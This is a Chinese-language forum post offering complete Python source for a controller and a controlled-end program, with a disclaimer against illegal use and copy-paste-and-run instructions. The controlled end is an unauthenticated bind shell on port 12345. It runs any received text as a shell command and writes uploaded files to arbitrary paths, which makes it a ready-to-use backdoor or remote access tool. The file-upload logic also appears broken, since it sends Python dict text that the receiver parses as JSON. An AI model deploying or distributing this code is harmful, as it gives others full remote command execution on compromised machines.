请勿将此代码由于非法途径,出现任何问题与发帖者无关。
(浏览器有自动翻译功能的先关闭自动翻译功能在浏览此帖子)
主控端
源代码:
import socket
def client(ips, data):
resp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
resp.settimeout(10)
resp.connect(ips)
if isinstance(data, str):
data = data.encode()
resp.sendall(data)
out = resp.recv(4096).decode()
resp.close()
except Exception as e:
out = f"Error: {e}"
return out
def client_send(target, port):
while True:
data = input("shell_> ")
if 'upload' not in data:
out = client((target, port), data)
print(f"[*] Command Out= {out}")
else:
upload((target, port), data)
def upload(ips, data):
file_info = data.split(' ')
if len(file_info) != 3:
print("[*] Invalid upload command format")
return
source_file = file_info[1].replace('\\', '/')
dest_file = file_info[2]
try:
with open(source_file, 'rb') as f:
file_data = f.read()
list_a = {
'path': dest_file,
'request': file_data
}
out = client(ips, str(list_a))
if "OK" in out:
print("[*] File Write Success !")
else:
print("[*] File Write Fail !")
except FileNotFoundError:
print("[*] Source file not found!")
except Exception as e:
print(f"[*] Error during file processing: {e}")
if __name__ == "__main__":
ip_port = input("IP:PORT = ")
try:
target, port = ip_port.split(":")
client_send(target, int(port))
except ValueError:
print("Invalid IP:PORT format")
将代码复制粘贴到文件,并将后缀改为.py即可使用,在终端输入格式如下图,注意port始终为12345。
示例:192.168.0.1:12345
被控端
源代码:
import socket
import subprocess
import json
import os
def server_main(port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind(("0.0.0.0", port))
server.listen(5)
print(f"[*] Listening on {socket.gethostname()}:{port}")
while True:
client_socket, addr = server.accept()
print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")
buf = client_socket.recv(4096).decode('utf-8')
print(f"[*] Received command = {buf}")
if buf:
if is_file(buf):
response = handle_upload(buf, client_socket)
else:
response = run_command(buf)
client_socket.send(response.encode('utf-8'))
client_socket.close()
except Exception as e:
print(f"Exception: {e}")
finally:
server.close()
def is_file(buf):
try:
data = json.loads(buf)
return isinstance(data, dict) and 'path' in data and 'request' in data
except json.JSONDecodeError:
return False
def run_command(command):
try:
result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return result.stdout if result.returncode == 0 else result.stderr
except subprocess.CalledProcessError as e:
return f"Failed to execute command: {e}"
def handle_upload(data_json, client_socket):
try:
data = json.loads(data_json)
file_path = data['path']
file_content = data['request'].encode('utf-8') # Convert back to bytes for writing
# Ensure directory exists
os.makedirs(os.path.dirname(file_path), exist_ok=True)
with open(file_path, 'wb') as f:
f.write(file_content)
return "OK"
except Exception as e:
return f"Failed to upload file: {e}"
if __name__ == "__main__":
try:
port = 12345
if port <= 0 or port > 65535:
raise ValueError("Port number must be between 1 and 65535.")
server_main(port)
except ValueError as e:
print(f"Invalid port number: {e}")
将代码复制粘贴到文件,并将后缀改为.py即可使用。
使用
先运行被控端,在运行主控端。
没有回复内容